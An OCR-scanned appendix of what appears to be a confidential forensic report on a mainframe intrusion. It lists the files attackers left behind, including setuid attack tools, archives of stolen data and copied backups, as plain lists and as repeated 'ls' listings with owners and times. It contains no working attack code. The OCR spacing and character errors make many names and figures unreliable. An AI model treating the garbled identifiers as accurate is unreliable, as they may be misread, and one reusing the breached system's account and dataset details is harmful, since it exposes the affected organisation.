-rw-r--r-- O 5424 438400 224 Aug 3 2011 /u/wmthwat/.ssh/id_rsa . pub . asc i i  

- rw-r--r-- O 5424 438400 601 Aug 3 2011 /u/wmthwat/.ssh/known hasts 

-rw------- O 5424 438400 1024 Aug 3 2011 /u/wmthwat/.ssh/prng_seed 

d rwx------ O 1520 438400 O Ma r  22 2011 /u/0955/ 

-rw------- O 1520 438400 137 M a r  22 2011 /u/0955/.sh_h i story 

d rw------- O 1520 l O J u l  22 2009 /u/E078/ 

d rwxrw---- O 113 o O Feb 12  2012 /u/H I S/ 

- rw-r----- O 1 13 O 

-rw-r----- O 1 13 O 

-rw-r----- O 1 13 O 

-rw-r----- O 1 13 O 

7375 Oct 16 201 1 /u/H I S/SYSH IS20110929 . 1 11442 .000 .CNT 

3391 Oct 16 201 1  /u/H IS/SYSH I S20111016.0621 17.000 .CNT 

7375 N ov 27 2011 /u/H I S/SYSH I S20111016.0917 12 .000.CNT 

7375 Feb 12 2012 /u/H IS/SYSH I S20111127 .014039.000.CNT 

d rw------- O 1520 438400 O Feb 16  2012 /u/7554/ 

Strictly contident ia  l l Bus i ness Secret l 

Sidan 479 av 574 

Repan: 



Appendix Q: List of fil e s created on SYS 3 
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Left beh i nd  was these fi les .  Same of the fi les a re attack tools, same of the fi les a re co l l ected fi les  

from other p l aces i n  the system .  Same of the fi les a re a rch ive fi les which conta i n  sto l en  fi les .  

M a  ny of the attack fi les a re be i ng descri bed i n  more deta i l es i n  the ma  i n  docu ment .  

Same of the fi l es, such as  c ics . it .tgz a nd  loca l . tgz a re descri bed i n  sepa rate a ppend ic ies .  

The files are Iisted two time s, first as a simple list, the n as an additional list, which is more like a file 

listing with file metadata. 

/SYSTE M/tm p/ . .  , 

/SYSTE M/t m p/. ,  

/SYSTE M/tm p/.,/.sh_history 

/SYSTE M/tm p/. ,/a m d usrfS 

/SYSTE M/t m p/.,/ap 

/SYSTE M/t m  p/ . ./ asd 

/SYSTE M/tm p/ . ./asdwm 

/SYSTE M/tm p/.,/be 

/SYSTE M/t m  p/. J cics. it .  tgz 

/SYSTE M/t m  p/ . ./daf1367 

/SYSTE M/tm p/ . ./  daf14 73 

/SYSTE M/tm p/.,/d b 2 p l i 8  

/SYSTE M/t m p/ . ./d b2 pl i8c  

/SYSTE M/t m p/ . ./d mq istac 

/SYSTE M/t m p/ . ,/dxmqista 

/SYSTE M/tm p/.,/dx mqistc 

/SYSTE M/tm p/ . ./dx mq retc 

/SYSTE M/t m  p/ . ./dxxmqgen 

/SYSTE M/t m p/ . ./dxxmqgnc 

/SYSTE M/t m p/.,/dxxmqist 

/SYSTE M/tm p/ . ./dxxm q ret 

/SYSTE M/tm p/ . ./dxxmqsac 

/SYSTE M/t m p/ . ./dxxm qsra 

Strict ly confi denti a l  l Bus i ness Secret l 



/SYSTEM/t m p/.,/dxxmqsrc 

/SYSTE M/t m p/. ,/dxxmqsrd 

/SYSTE M/t m p/. ,/d044 

/SYST E M/t m p/.,/d l m q i sta 

/SYSTEM/t m p/.,/d l m q i stc 

/SYSTE M/t m p/. ,/d l m q retc 

/SYSTEM/t m p/.,/d lq istac 

/SYSTE M/tm p/.,/ d lxmqg en 

/SYSTEM/t m p/.,/d lxmqg nc 

/SYSTE M/tm p/. ,/ d lxmq ist 

/SYSTE M/t m p/.,/dlxmq ret 

/SYSTE M/tm p/.,/ d l x mqsac 

/SYSTE M/tm p/.,/ d lxmqsra 

/SYSTE M/t m p/.,/d lxmqsrc 

/SYSTE M/tm p/.,/ d lxmqsrd 

/SYSTE M/tm p/.,/ er  r 

/SYSTE M/tm p/.,/ errmsg 

/SYSTE M/tm p/.,/e905opc 

/SYSTE M/t m  p/ . ,/ha .c  

/SYSTE M/t m p/.,/kurwa 

/SYSTE M/tm p/ . ,/loca l .  tgz 

/SYSTEM/t m p/. ,/mqxmld is  

/SYSTE M/t m  p/.,/ m q x m  len  b 

/SYSTE M/t m p/.,/nav 

/SYSTE M/tm p/ . ,/nav / n .  txt 

/SYSTE M/tm p/. ,/ nav /D95S.ARO N .  BTL . B I  NAVT04 

/SYSTE M/t m p/.,/nav/D955.ARO N . BTL. NAVOS 

/SYSTE M/tm p/.,/ nav /0955 .ARO N . BTL. NAV09 

/SYSTE M/tm p/.,/nav/D95 5 . DAF1367. NAVETI. R EA D R EA D  

/SYSTE M/t m p/.,/nav/D955. NAV . KONTLIST 

/SYSTE M/t m p/.,/nav/D95S. NAV .KONTLIST. D080704 

/SYSTE M/t m p/.,/nav/D95 5 . NAV . KO NTLIST.G25 

/SYSTE M/t m p/.,/nav/D955. R SV. NAVET.G2SVOO 
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/SYSTE M/t m p/.,/oldc 

/SYSTE M/tm p/. ,/ptltsrb 

/SYSTE M/tm p/.,/ q we 

/SYSTE M/tm p/. ,/rtt i mss 

/SYSTE M/tm p/.,/ rxsu be o m 

/SYSTE M/t m p/. ,/sca nsoro 

/SYSTE M/tm p/.,/se mexpd 

/SYSTE M/t m  p/.  ,/se m n ews 

/SYSTE M/tm p/.,/sq l d bs 

/SYSTE M/t m p/. ,/sq lexec 

/SYSTE M/tm p/.,/sq lga l hv 

/SYSTE M/tm p/. ,/s q l gem pi 

/SYSTE M/tm p/. ,/sq l gfi n i  

/SYSTEM/tm p/.,/sq l g i n i t  

/SYSTE M/tm p/.,/sq l g i ntp 

/SYSTE M/t m p/. ,/swedsort 

/SYSTE M/t m p/.,/u . i t .tgz 

/SYSTE M/t m p/. ,/v077229 

/SYSTEM/t m p/.,/D955.ARO N . BTL. B I NAVT04 

/SYSTE M/t m p/.,/D955 .ARO N . BTL. NAVOS 

/SYSTE M/t m p/.,/D955 .ARO N . BTL. NAV09 

/SYSTEM/t m p/.,/D955 . DAF1367. NAVETT. READREAD 

/SYSTE M/t m p/.,/D95 5 . NAV.KO NTLIST 

/SYSTEM/t m p/.,/D95 5 . NAV.KO NTLIST. D080704 

/SYSTEM/t m p/. ,/D955. NAV.KO NTLIST . G 2 5  

/SYSTE M/t m p/.,/D9 5 5 . RSV . N AVET. G25VOO 

/SYSTE M/t m p/.,/E077. DAFC I C P 1 . BAC K U P .CSD.G0868VOO 

/SYSTE M/t m p/.,/E077 . DAFCI C P 1 . BAC K U P . CS D .G0869VOO 

/SYSTE M/t m  p/ . ,/E077.  DAFCICP 1. BACK U P .CSD .G 0870VOO 

/SYSTE M/t m p/.,/E077 . DAFCICP3 . B AC K U P . CS D  

/SYSTE M/tm p/ . ,/E077 . DAFCICP3. BACKU P .CSD .G04 70VOO 

/SYSTE M/t m p/.,/E077.DAFCICP3 . BACK U P .CSD. G047 1VOO 

/SYSTE M/t m p/. ,/E077 .DAFCICP3.BAC K U P .CSD .G0472VOO 
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/SYSTE M/t m p/.,/E077.0AFCICP3. BAC K U P .CS O . G0473VOO 

/SYSTE M/tmp/.,/E077.0AFC I C P 3 . BACKU P .CSO . G 0474VOO 

/SYSTE M/t m p/.,/E077 .0AFCICP4.BAC K U P .CSO 

/SYSTE M/t m p/.,/E077 .0AFCICP4.BAC K U P .CSO. G0882VOO 

/SYSTE M/tm p/ . ,/E077. OAFCICP4.  BACK U P .CSO .G0883VOO 

/SYSTE M/t m p/. ,/E077 .0AFCICP4.BAC K U P .CSO. G0884VOO 

/SYSTE M/tm p/. ,/E077. OAFCICP4.  BACK U P  .CSO .G0885VOO 

/SYSTE M/tm p/.,/E077 .OAFCICP4.  BACKU P .CSO .G0886VOO 

/SYSTE M/tm p/. ,/E077. OAFCICP9 .BACK U P .CSO 

/SYSTE M/t m p/. ,/E077. 0AFCICP9. BACKU P .CSO . G 2 7 19VOO 

/SYSTE M/tm p/.,/E077. 0AFCI CP9. BACKU P .CSO . G2720VOO 

/SYSTE M/tm p/. ,/E077 .OAFCICP9 .BACK U P .CSO .G2721 VOO 

/SYSTE M/tm p/.,/E077.0AFC I C P 9 . BACKU P.CSO.G 2722VOO 

/SYSTE M/t m p/.,/E077.0AFCICP9 . B AC K U P .CSO.G2723VOO 

/SYSTE M/tm p/ . . , 

Sidan 483 av 574 

Report 

Th is  is a s im i l a r  l i st, output with some other add it ion a l  i nformations, e .g .  fi l e  owner, date a nd  ti me  of 

fi l e  cha nges, etc. 

-rwxr-xr-x l BPXOFLTU 0384 1 10592 Mar 20 09 : 1 5  a p  

-rwsr-s r-x l W M C M BAl STCG RO U P  387 M a r  2 0  09:24 kurwa 

-rw-rw-rw- l W M C M BAl 0384 83271680 Mar 20 09:27 u . it .tgz 

-rw-rw-rw- l W M C M BA l  0384 2 1770240 Mar 20 09 :28 c ics . it.tgz 

-rw-rw-rw- l W M C M BAl 0384 243 Mar 20 09 : 3 1  ha.c 

-rw------- l W M C M BAl 0384 O Mar 20 09 : 3 1  .sh_h i story 

-rwsr-sr-x l WMCM BAl 0384 77824 M a r  20 09:35 be 

-rwsr-sr-x l W M B E B R R  E077 77824 Mar 20 09:35 err 

-rwsr-s r-x l OAF1367 0955 77824 Mar 20 09:41 daf1367 

-rw-rw-rw- l OAF1367 0384 35880960 Mar 20 09:52 l ocal .tgz 

-rws r-s--- l E9050PC 03840PCG 77824 Mar 20 10:03 e905opc 

-rw-rw-rw- l OAF1367 0384 20124 Mar 20 1 0 : 14 0955. RSV. NAVET.G25VOO 

-rw-rw-rw- l OAF1367 0384 1992289 Mar 20 10: 14 0955. NAV. KONTLIST.G25 
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-rw-rw-rw- l OAF1367 0384 3 124176 M a r  20 1 0 : 14 0955. NAV. KONTLIST. 0080704 

-rw-rw-rw- l OAF1367 0384 1932557 M a r  20 10 : 14 0955. NAV. KONTLIST 

-rw-rw-rw- l OAF1367 0384 2756 M a r  20 1 0 : 14 095 5 . 0AF1367. NAVETI. REAOREAO 

-rw-rw-rw- l OAF1367 0384 538 M a r  20 1 0 : 14 0955 .ARO N . BTL .NAV09 

-rw-rw-rw- l OAF1367 0384 860 Mar 20 10: 14 0955 .ARO N . BTL .NAV05 

-rw-rw-rw- l OAF1367 0384 30691 Mar 20 10: 14 0955.ARO N . BTL. B I N AVT04 

-rws r-s--- l OAF1473 E077 77824 Mar 20 10:22 dafl473 

-rws r-xr-x l V077229 V384 77824 Mar 20 10:29 v077229 

-rw-rw-rw- l WMC M BA l  0384 488059 M a r  20 1 0 : 3 5  E077 . 0AFCI C P l . BACKU P.CSO.G0868VOO 

-rw-rw-rw- l V077229 0384 488059 Mar 20 10 :35 E077. 0AFCIC P l . BA C K U P . C S O.G0870VOO 

-rw-rw-rw- l V077229 0384 488059 Mar 20 10 :35 E077. 0AFC I C P l . BACKUP.CSO.G0869VOO 

-rw-rw-rw- l V077229 0384 1285343 Mar 20 10 :39  E077. 0AFC I C P 3 . BACKUP.CSO.G 0473VOO 

-rw-rw-rw- l V077229 0384 1285343 Mar 20 10:39 E077. 0A FCICP3 .BACKUP.CSO.G0474VOO 

ls-out .txt .txt -rwxr-xr-x l BPXOFLT U  0384 1 10592 Mar 20 09 : 1 5  ap 

-rwsr-sr-x l W M C M BAl STCG RO U P  3 8 7  M a r  2 0  09:24 kurwa 

-rw-rw-rw- l W M C M BAl 0384 8327 1680 Mar 20 09:27 u . i t .tgz 

-rw-rw-rw- l W M C M BAl 0384 2 1770240 Mar 20 0 9 : 2 8  c ics . i t .tgz 

-rw-rw-rw- l W MC M BAl 0384 243 Mar 20 0 9 : 3 1  h a . c  

-rw------- l W M C M BAl 0384 O Mar 20 09 : 3 1  .sh_h i story 

-rwsr-s r-x l W M C M BAl 0384 77824 Mar 20 09:35 be 

-rws r-s r-x l W M B E B R R  E077 77824 Mar 20 09:35 err 

-rwsr-s r-x l OAF1367 0955 77824 Mar 20 09:41 daf1367 

-rw-rw-rw- l OAF1367 0384 35880960 Mar 20 0 9 : 5 2 1 ocal .tgz 

-rwsr-s--- l E9050PC 03840PCG 77824 M a r  20 10:03 e905opc 

-rw-rw-rw- l OAF1367 0384 20124 Mar 20 1 0 : 14 095 5 . R SV. NAVET.G2 5VOO 

-rw-rw-rw- l OAF1367 0384 1992289 Mar 20 1 0 : 14 0955. NAV. KONTLIST. G 2 5  

-rw-rw-rw- l O A F 1 3 6 7  0384 3 124176 Mar 20 10:14 0955. NAV. KONTLIST. 0080704 

-rw-rw-rw- l OAF1367 0384 1932557 Mar 20 1 0 : 14 0955. NAV. KONTLIST 

-rw-rw-rw- l OAF1367 0384 2756 Mar 20 1 0 : 14 0955 . 0AF1367. NAVETI. REAOREAO 

-rw-rw-rw- l OAF1367 0384 538 M a r  20 1 0 : 14 0955 .ARO N . BTL .NAV09 

-rw-rw-rw- l OAF1367 0384 860 Mar 20 1 0 : 1 4  0955 .ARO N . BTL .NAV05 

-rw-rw-rw- l OAF 1367 0384 30691 Mar 20 1 0 : 14 0955.ARO N . BT L . B I NAVT04 

-rwsr-s--- l OAF1473 E077 77824 Mar 20 10:22 dafl473 
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-rwsr-xr-x l V077229 V384 77824 Mar 20 10:29 v077229 

-rw-rw-rw- l W M C M BAl D384 488059 Mar 20 10:35 E077 . DAFCIC P l . BACK U P .CS D.G0868VOO 

-rw-rw-rw- l V077229 D384 488059 Mar 20 10:35 E077. DAFC I C P l . BACKU P.CS D.G0870VOO 

-rw-rw-rw- l V077229 D384 488059 Mar 20 10:35 E077. DAFC I C P l . BACKU P.CS D.G0869VOO 

-rw-rw-rw- l V077229 D384 1285343 Mar 20 10:39 E077 . DAFCICP3 . BACKUP.CS D.G0473VOO 

-rw-rw-rw- l V077229 D384 1285343 Mar 20 10:39 E077. DA FCICP3 .BACKUP.CS D.G0474VOO 

-rw-rw-rw- l V077229 D384 642 6715 M a r  20 10:39 E077. DAFCICP3 . BACKUP.CSD 

: -rwxr-xr-x l BPXDFLTU D384 110592 Mar 20 09 : 1 5  a p  

-rwsr-s r-x l W M C M BAl STCG RO U P  3 8 7  M a r  2 0  09:24 kurwa 

-rw-rw-rw- l WMC M BAl D384 83271680 Mar 20 09:27 u . i t .tgz 

-rw-rw-rw- l WMC M BAl D384 2 1 770240 Mar 20 09 :28 c ics . it.tgz 

-rw-rw-rw- l WMC M BAl D384 243 Mar 20 09 : 3 1  ha .c  

-rw------- l W M C M BAl D384 O Mar 20 0 9 : 3 1  .sh_hi story 

-rwsr-s r-x l W MC M BAl D384 77824 Mar 20 09:35 be 

-rwsr-s r-x l W M B E B R R  E077 77824 Mar 20 09:35 err 

-rwsr-s r-x l DAF1367 D955 77824 Mar 20 09:41 daf1367 

-rw-rw-rw- l DAF1367 D384 35880960 M a r  20 09 :52 l oca l .tgz 

-rwsr-s--- l E9050PC D3840PCG 77824 Mar 20 10:03 e905opc 

-rw-rw-rw- l DAF1367 D384 20124 Mar 20 1 0 : 14 D955. RSV. NAVET . G 2 5VOO 

-rw-rw-rw- l DAF1367 D384 1992289 Mar 20 10: 14 D955. NAV. KONTLIST.G25 

-rw-rw-rw- l DAF1367 D384 3 124176 Mar 20 1 0 : 14 D955. NAV. KONTLIST. D080704 

-rw-rw-rw- l DAF1367 D384 1932557 Mar 20 10:14 D955. NAV. KONTLIST 

-rw-rw-rw- l DAF1367 D384 2756 Mar 20 10:14 D95S. DAF1367. NAVETI. READREAD 

-rw-rw-rw- l DAF1367 D384 538 M a r  20 1 0 : 14 D955 .ARO N . BT L . N AV09 

-rw-rw-rw- l DAF1367 D384 860 Mar 20 1 0 : 14 D955.ARO N . BT L . N AV05 

-rw-rw-rw- l DAF1367 D384 3069 1 M a r  20 1 0 : 14 D955.ARO N . BT L . B I NAVT04 

-rwsr-s--- l DAF1473 E077 77824 Mar 20 10:22 dafl473 

-rwsr-xr-x l V077229 V384 77824 Mar 20 10:29 v077229 

-rw-rw-rw- l W M C M BAl D384 488059 M a r  20 10:35 E077 . DA FC I C P l . BACKUP.CSD. G0868VOO 

-rw-rw-rw- l V077229 D384 488059 Mar 20 1 0 : 3 5  E077 . DAFC I C P l . BA C K U P .CSD. G0870VOO 

-rw-rw-rw- l V077229 D384 488059 Mar 20 10:35 E077 . DAFCI C P l . BACKUP.CSD. G0869VOO 

-rw-rw-rw- l V077229 D384 1285343 Mar 20 10 :39  E077 . DA FCICP3 . BACKUP.CSD .G0473VOO 

-rw-rw-rw- l V077229 D384 1285343 Mar 20 10 :39  E07 7 . DAFC I C P 3 . BA C K U P .CSD.G0474VOO 
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-rw-rw-rw- l V077229 0384 642 6715 Mar 20 10:39 E077 . 0AFCICP3 . BACKUP.CSO 

-rw-rw-rw- l W M C M BAl 0384 1285343 Mar 20 10:39 E077.0AFCICP3 . BACK U P . C S O .G0472VOO 

: -rwxr-xr-x l BPXOF LT U  0384 110592 Mar 20 09 : 1 5  a p  

-rwsr-s r-x l WMCM BAl STCG RO U P  3 8 7  M a r  20 09:24 ku rwa 

-rw-rw-rw- l WMC M BA l  0384 83271680 Mar 20 09:27 u . i t .tgz 

-rw-rw-rw- l WMC M BA l  0384 21770240 Mar 20 09:28 c ics . it .tgz 

-rw-rw-rw- l WMC M BAl 0384 243 Mar 20 0 9 : 3 1  h a . c  

- rw------- l W M C M BAl 0384 O Mar 20 09 : 3 1  .sh_hi story 

-rwsr-s r-x l W M C M BAl 0384 77824 M a r  20 09:35 be 

-rws r-s r-x l W M B E B R R  E077 77824 Mar 20 09:35 err 

-rwsr-sr-x l OAF1367 0955 77824 Mar 20 09:41 daf1367 

-rw-rw-rw- l OAF1367 0384 35880960 Mar 20 09 : 5 2  l oca l .tgz 

-rwsr-s--- l E9050PC 03840PCG 77824 Mar 20 10:03 e905opc 

-rw-rw-rw- l OAF1367 0384 20124 Mar 20 10: 14 095 5 . R SV. NAVET.G2 SVOO 

-rw-rw-rw- l OAF1367 0384 1992289 Mar 20 10: 14 095S. NAV. KONTLIST.G25 

-rw-rw-rw- l OAF1367 0384 3 1 24176 Mar 20 10: 14 0955. NAV. KONTLIST. 0080704 

-rw-rw-rw- l OAF1367 0384 1932557 Mar 20 1 0 : 1 4  095 S . NAV. KONTLIST 

-rw-rw-rw- l OAF1367 0384 2756 Mar 20 10: 14 0955 . 0AF1367. NAVETT . REAOREAO 

-rw-rw-rw- l OAF1367 0384 538 Mar 20 10: 14 0955.AR O N . BTL .NAV09 

-rw-rw-rw- l OAF1367 0384 860 Mar 20 10: 14 0955 .ARO N . BTL. NAVOS 

-rw-rw-rw- l OAF1367 0384 30691 Mar 20 10:14 0955.ARO N . BTL .B I NAVT04 

-rwsr-s--- l OAF1473 E077 77824 Mar 20 10:22 dafl473 

-rwsr-xr-x l V077229 V384 77824 Mar 20 10:29 v077 229 

-rw-rw-rw- l W M C M BA l  0384 488059 M a r  20 1 0 : 3 5  E07 7 . 0A F C I C P 1 . BACKU P.CSO.G0868VOO 

-rw-rw-rw- l V077229 0384 488059 M a r  20 10:35 E077. 0AFCI C P 1 . BAC K U P . CS O . G 0870VOO 

-rw-rw-rw- l V077229 0384 488059 M a r  20 10:35 E077 . 0AFCICP l . BACKUP.CSO.G0869VOO 

-rw-rw-rw- l V077229 0384 1285343 Mar 20 10:39 E077 . 0AFCICP3 . BACKUP.CSO.G0473VOO 

-rw-rw-rw- l V077229 0384 1285343 M a r  20 10:39 E07 7 . 0AFCICP3 . BACKU P .CSO.G0474VOO 

-rw-rw-rw- l V077229 0384 64267 15 M a r  20 10:39 E077 . 0AFCICP3 . BACKUP.CSO 

-rw-rw-rw- l W M C M BAl 0384 1285343 Mar 20 10:39 E077.0AFCICP3 . BAC K U P .CSO .G0472VOO 

-rw-rw-rw- l W M C M BA l  0384 1285343 Mar 20 1 0 : 3 9  E077 .0AFCICP3 . BAC K U P .CSO.G 047 1VOO 

-rw-rw-rw- l V077229 0384 1285343 Mar 20 10:39 E077 . 0AFCICP3 . BACKU P .CSO. G0470VOO 

-rw-rw-rw- l V077229 0384 349198 M a r  20 10:43 E077 . 0AFCICP4 . BAC K U P.CSO.G0886VOO 
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-rw-rw-rw- 1 WMC M BA1 D384 349198 Mar 20 10:52 E077 . DAFCICP4.BAC K U P . CS D.G0885VOO 

-rw-rw-rw- 1 WMC M BA1 D384 349198 Mar 20 10:52 E077 .DAFCICP4.BACKU P.CSD.G0884VOO 

-rw-rw-rw- 1 W M C M BA 1  D384 349198 Mar 20 10:52 E077 . DAFCICP4 . BACK U P . C S D.G0883VOO 

: -rwxr-xr-x 1 BPXDF LT U  D384 1 10592 Mar 20 09 : 1 5  ap 

-rwsr-s r-x 1 W M C M BA1 STCG RO U P  3 8 7  M a r  20 09:24 kurwa 

-rw-rw-rw- 1 W M C M BA1 D384 83271680 Mar 20 09:27 u . i t .tgz 

-rw-rw-rw- 1 W M C M BA1 D384 2 1770240 Mar 20 09:28 c ics . it .tgz 

-rw-rw-rw- 1 W M C M BA1 D384 243 Mar 20 09 : 3 1  ha .c  

- rw------- 1 WMC M BA1 D384 O M a r  20 09 : 3 1  .sh_history 

-rwsr-sr-x 1 W M C M BA1 D384 77824 Mar 20 09:35 be 

-rwsr-sr-x 1 W M B E  BRR E077 77824 Mar 20 09:35 err 

-rwsr-s r-x 1 DAF1367 D955 77824 Mar 20 09:41 daf1367 

-rw-rw-rw- 1 DAF1367 D384 35880960 Mar 20 09:52 l ocal .tgz 

-rwsr-s--- 1 E9050 P C  D3840PCG 77824 Mar 20 10:03 e905opc 

-rw-rw-rw- 1 DAF1367 D384 20124 Mar 20 10: 14 D955. RSV. NAVET.G2 5VOO 

-rw-rw-rw- 1 DAF1367 D384 1992289 Mar 20 10: 14 D955. NAV. KONTLIST.G25 

-rw-rw-rw- 1 DAF1367 D384 3 124176 Mar 20 10: 14 D955. NAV. KONTLIST. D080704 

-rw-rw-rw- 1 DAF1367 D384 1932557 Mar 20 1 0 : 14 D95 5 . NAV. KONTLIST 

-rw-rw-rw- 1 DAF1367 D384 2756 Mar 20 1 0 : 14 D955 . DAF1367. NAVETI. READREAD 

-rw-rw-rw- 1 DAF1367 D384 538 M a r  20 10: 14 D955 .ARO N . BTL.NAV09 

-rw-rw-rw- 1 DAF1367 D384 860 Mar 20 10:14 D955 .ARO N . BTL .NAV05 

-rw-rw-rw- 1 DAF1367 D384 30691 Mar 20 10:14 D955.ARO N . BTL. B I N AVT04 

-rwsr-s--- 1 DAF1473 E077 77824 Mar 20 10 :22  daf1473 

-rwsr-xr-x 1 V077229 V384 77824 Mar 20 10:29 v077229 

-rw-rw-rw- 1 W M C M BA 1  D384 488059 M a r  20 10 :35 E077 . DA F C I C P 1 . BACKU P .CS D.G0868VOO 

-rw-rw-rw- 1 V077229 D384 488059 M a r  20 10 :35 E077. DAFCI C P 1 . BACKU P . CS D . G0870VOO 

-rw-rw-rw- 1 V077229 D384 488059 Mar 20 10:35 E077. DAFC I CP 1 . BA C K U P . C S D .G0869VOO 

-rw-rw-rw- 1 V077229 D384 1285343 Mar 20 10:39 E077 . DAFCICP3 .BACKUP.CSD. G0473VOO 

-rw-rw-rw- 1 V077229 D384 1285343 Mar 20 10:39 E077. DA FCICP3 . BA C K U P . C S D .G0474VOO 

-rw-rw-rw- 1 V077229 D384 6426715 Mar 20 10:39 E077 . DAFC ICP3 .BACKUP.CSD 

-rw-rw-rw- 1 W M C M BA1 D384 1285343 Mar 20 10:39 E077.DAFC I C P 3 . BACKU P .CSD.G0472VOO 

-rw-rw-rw- 1 WMC M BA1 D384 1285343 Mar 20 10:39 E077 . DAFCICP3 . BACK U P . CS D . G 047 1VOO 

-rw-rw-rw- 1 V077229 D384 1285343 M a r  20 10:39 E077 . DAFCICP3 .BACKUP.CSD.G0470VOO 
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-rw-rw-rw- 1 V077229 0384 349 198 Mar 20 10:43 E077 . 0AFC I C P4 . BAC KU P.CS O.G0886VOO 

-rw-rw-rw- 1 W M C M BA 1  0384 349198 Mar 20 10:52 E07 7 . 0AFCICP4 . BACKU P.CSO.G0885VOO 

-rw-rw-rw- 1 W M C M BA1 0384 349198 Mar 20 10:52 E077 . OAFCI CP4. BACKU P .CS O.G0884VOO 

-rw-rw-rw- 1 W M C M BA1 0384 349198 Mar 20 10:52 E07 7 . 0A F C I CP4.BACKUP.CSO.G0883VOO 

-rw-rw-rw- 1 WMC M BA1 0384 349 198 Mar 20 10:52 E07 7 . 0AFCI CP4.BACKU P.CSO.G0882VOO 

-rw-rw-rw- 1 V077229 0384 1745990 Mar 20 10:52 E077 . 0AFCICP4.BACKUP.CSO 

:-rwxr-xr-x 1 BPXOFLTU 0384 110592 M a r  20 0 9 : 1 5  ap 

-rwsr-sr-x 1 WMCM BA1 STCG RO U P  3 8 7  M a r  20 09:24 kurwa 

-rw-rw-rw- 1 WMC M BA1 0384 8327 1680 Mar 20 09:27 u . i t .tgz 

-rw-rw-rw- 1 W M C M BA1 0384 2 1770240 Mar 20 09 :28 c ics . it.tgz 

-rw-rw-rw- 1 WMC M BA1 0384 243 Mar 20 09 : 3 1  ha .c  

-rw------- 1 W M C M BA1 0384 O Mar 20 09 : 3 1  .s h_h istory 

-rwsr-s r-x 1 WMCM BA1 0384 77824 Mar 20 09:35 be 

-rwsr-s r-x 1 W M B E B R R  E077 77824 Mar 20 09 :35  err 

-rwsr-s r-x 1 OAF1367 0955 77824 Mar 20 09:41 daf1367 

-rw-rw-rw- 1 OAF1367 0384 35880960 Mar 20 09:52 l oca l .tgz 

-rwsr-s--- 1 E9050PC 03840PCG 77824 Mar 20 10:03 e905opc 

-rw-rw-rw- 1 OAF1367 0384 20124 Mar 20 1 0 : 14 0955 . R SV. NAVET.G2 5VOO 

-rw-rw-rw- 1 OAF1367 0384 1992289 Mar 20 10: 14 0955. NAV. KONTLIST.G25 

-rw-rw-rw- 1 OAF1367 0384 3 124176 Mar 20 10: 14 0955 . NAV. KO N TL I ST. 0080704 

-rw-rw-rw- 1 OAF1367 0384 1932557 Mar 20 1 0 : 14 0955. NAV. KONTLIST 

-rw-rw-rw- 1 OAF1367 0384 2756 M a r  20 10:14 0955 . 0AF1367. NAVETI.REAOREAO 

-rw-rw-rw- 1 OAF1367 0384 538 Mar 20 10: 14 0955 .ARO N . BT L . N AV09 

-rw-rw-rw- 1 OAF1367 0384 860 M a r  20 1 0 : 14 0955 .ARO N . BT L . N AV05 

-rw-rw-rw- 1 OAF1367 0384 30691 M a r  20 10: 14 0955.ARO N . BT L . B I NAVT04 

-rwsr-s--- 1 OAF1473 E077 77824 Mar 20 10:22 daf1473 

-rwsr-xr-x 1 V077229 V384 77824 Mar 20 10:29 v077229 

-rw-rw-rw- 1 W M C M BA1 0384 488059 M a r  20 10 :35 E077 .0AFC I C P 1 . BAC K U P.CSO .G0868VOO 

-rw-rw-rw- 1 V077229 0384 488059 Mar 20 1 0 : 3 5  E077. 0AFC I C P 1 . BACKUP.CSO .G0870VOO 

-rw-rw-rw- 1 V077229 0384 488059 M a r  20 10 :35 E077. 0AFC I CP 1 . BAC K U P .CSO. G0869VOO 

-rw-rw-rw- 1 V077229 0384 1285343 Mar 20 1 0 : 3 9  E077 . 0AFCICP3 . BA C K U P .CSO.G 0473VOO 

-rw-rw-rw- 1 V077229 0384 1285343 Mar 20 10:39 E077 . 0AFCICP3 . BA C K U P .CSO.G0474VOO 

-rw-rw-rw- 1 V077229 0384 642 6715 M a r  20 1 0 : 3 9  E077 . 0AFCICP3 . BACKUP.CSO 
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-rw-rw-rw- 1 WMC M BA1 0384 1285343 Mar 20 10:39 E077. 0AFCICP3 . BACKU P.CSO.G0472VOO 

-rw-rw-rw- 1 WMC M BA1 0384 1285343 M a r 20 10:39 E077.0AFCICP3. BAC K U P .CSO.G0471VOO 

-rw-rw-rw- 1 V077229 0384 1285343 Mar 20 10:39 E077 . 0AFCICP3 . BACKU P.CS O.G0470VOO 

-rw-rw-rw- 1 V077229 0384 349198 Mar 20 10:43 E077 . 0AFCICP4 . BACKU P.CSO.G0886VOO 

-rw-rw-rw- 1 W M C M BA 1  0384 349198 Mar 20 10:52 E077 . 0AFCICP4. BACKUP.CSO.G0885VOO 

-rw-rw-rw- 1 W M C M BA1 0384 349 198 Mar 20 10:52 E077 . 0A FCICP4.BACKU P.CSO.G0884VOO 

-rw-rw-rw- 1 W M C M BA1 0384 349198 Mar 20 10:52 E077 . 0AFCICP4.BAC K U P . C S O .G0883VOO 

-rw-rw-rw- 1 W M C M BA1 0384 349198 Mar 20 10:52 E077 . 0AFCICP4. BACKU P.CSO.G0882VOO 

-rw-rw-rw- 1 V077229 0384 1745990 Mar 20 10:52 E077. 0A FCICP4.BACKU P.CSO 

-rw-rw-rw- 1 W M C M BA 1  0384 346200 Mar 20 1 0 : 5 9  E07 7 . 0AFCICP9. BACK U P .CSO.G 2723VOO 

-rw-rw-rw- 1 WMC M BA 1  0384 346200 Mar 20 10 :59 E077 . 0AFCICP9. BACKU P.CS O . G 2722VOO 

-rw-rw-rw- 1 WMC M BA1 0384 346200 Mar 20 1 0 : 5 9  E07 7 . 0AFCICP9. BACKUP.CSO.G2721VOO 

-rw-rw-rw- 1 W M C M BA1 0384 346200 Mar 20 10:59 E077 . 0AFCICP9. BACKUP.CSO.G 2720VOO 

-rw-rw-rw- 1 W M C M BA1 0384 346200 Mar 20 10:59 E077 . OAFCICP9. BACKU P.CSO.G27 19VOO 

-rw-rw-rw- 1 W M C M BA 1  0384 173 1000 Mar 20 10:59 E077.0AFCICP9 . BAC K U P .CSO 

-rwsr-s r-x 1 OAF1473 O S N O B2A 77824 Mar 20 1 3 : 10 asd 

-rwxr-x--- 1 OAF1473 0384 77824 M a r  20 1 3 : 15 qwe 

-rwxr-x--- 1 WMCM BA1 0384 106496 Mar 20 1 3 : 1 7  d m q istac 

-rwxr-x--- 1 WMCM BA1 0384 2 74432 Mar 20 1 3 : 1 7  d b 2 p l i 8 c  

-rwxr-x--- 1 WMCM BA1 0384 3 1 1296 Mar 20 1 3 : 1 7  d b 2 p l i 8  

-rwxr-x--- 1 WMCM BA1 0384 8192 Mar 20 1 3 : 1 7  a md usrf5 

